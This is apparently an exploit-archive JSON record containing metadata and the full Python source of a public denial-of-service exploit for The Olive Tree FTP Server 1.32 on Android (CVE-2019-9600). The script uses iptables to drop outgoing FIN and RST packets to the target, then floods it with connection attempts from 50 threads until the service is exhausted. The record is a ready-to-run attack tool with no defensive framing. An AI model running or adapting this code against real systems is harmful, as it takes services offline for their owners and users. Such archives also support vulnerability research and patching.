{"exploit":{"id":"EDB-46464","name":"The Olive Tree FTP Server <= 1.32 - Denial of Service (DoS)","description":"The Olive Tree FTP Server <= 1.32 - Denial of Service (DoS)","cves":["CVE-2019-9600"],"author":"s4vitar","published":"2019-02-28","platform":"android","type":"dos","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/46464","path":"exploits/android/dos/46464.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-46464.py","vulnerabilities":[{"id":"CVE-2019-9600","state":"PUBLISHED","title":null,"titleSource":null,"description":"The Olive Tree FTP Server (aka com.theolivetree.ftpserver) application through 1.32 for Android allows remote attackers to cause a denial of service via a client that makes many connection attempts and drops certain packets.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-9600","cvss":{"version":"3.0","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2019-9600"},"updatedAt":"2024-09-17T02:27:23.630Z","retrievedAt":"2026-11-26T10:49:44.803Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-46464.png?v=2","url":"https://exploitbin.com/exploits/EDB-46464","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-46464/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-46464/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python\n#coding: utf-8\n\n# ************************************************************************\n# *                Author: Marcelo Vázquez (aka s4vitar)                 *\n# *           FTP Server 1.32 Remote Denial of Service (DoS)             *\n# ************************************************************************\n\n# Exploit Title: FTP Server 1.32 Remote Denial of Service (DoS)\n# Date: 2019-02-26\n# Exploit Author: Marcelo Vázquez (aka s4vitar)\n# Vendor: The Olive Tree\n# Software Link: https://play.google.com/store/apps/details?id=com.theolivetree.ftpserver\n# Category: Mobile Apps\n# Version: <= FTP Server 1.32\n# Tested on: Android\n\nimport socket, random, string, signal, ssl, argparse, sys\nfrom time import sleep\nfrom threading import Thread, active_count\nfrom os import system, geteuid\n\nif geteuid() != 0:\n    print(\"\\nPlease, run %s as root...\\n\" % sys.argv[0])\n    sys.exit()\n\nstop = False\n\ndef signal_handler(signal, frame):\n    global stop\n    stop = True\n\ndef spam(target_ip, port):\n    while True:\n        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        s.settimeout(2)\n        try:\n            s.connect((target_ip, port))\n        except:\n            pass\n        if stop == True:\n            break\n\nif __name__ == '__main__':\n\n    signal.signal(signal.SIGINT, signal_handler)\n\n    if len(sys.argv) != 3:\n        print \"\\nUsage: python \" + sys.argv[0] + \" <ip-address> <port>\\n\"\n        sys.exit(1)\n\n    target = sys.argv[1]\n    port = int(sys.argv[2])\n\n    target_ip = socket.gethostbyname(target)\n\n    system('iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %( target_ip, port ))\n    system('iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %( target_ip, port ))\n\n    threads = []\n\n    payload = ''\n\n    for i in xrange(0,50):\n        t = Thread(target=spam, args=(target_ip, port,))\n        threads.append(t)\n        t.start()\n\n    while True:\n\n        if active_count() == 1 or stop == True:\n\n            system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %( target_ip, port ))\n            system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %( target_ip, port ))\n            print(\"\")\n            break","sha256":"0f5483f08146e6c77719957ee8174a1fc9b5e51ad35dcb8159777051f51e4624","bytes":2264,"fetchedAt":"2026-11-27T08:10:40.052Z","encoding":"utf-8 (display only; download retains original bytes)"}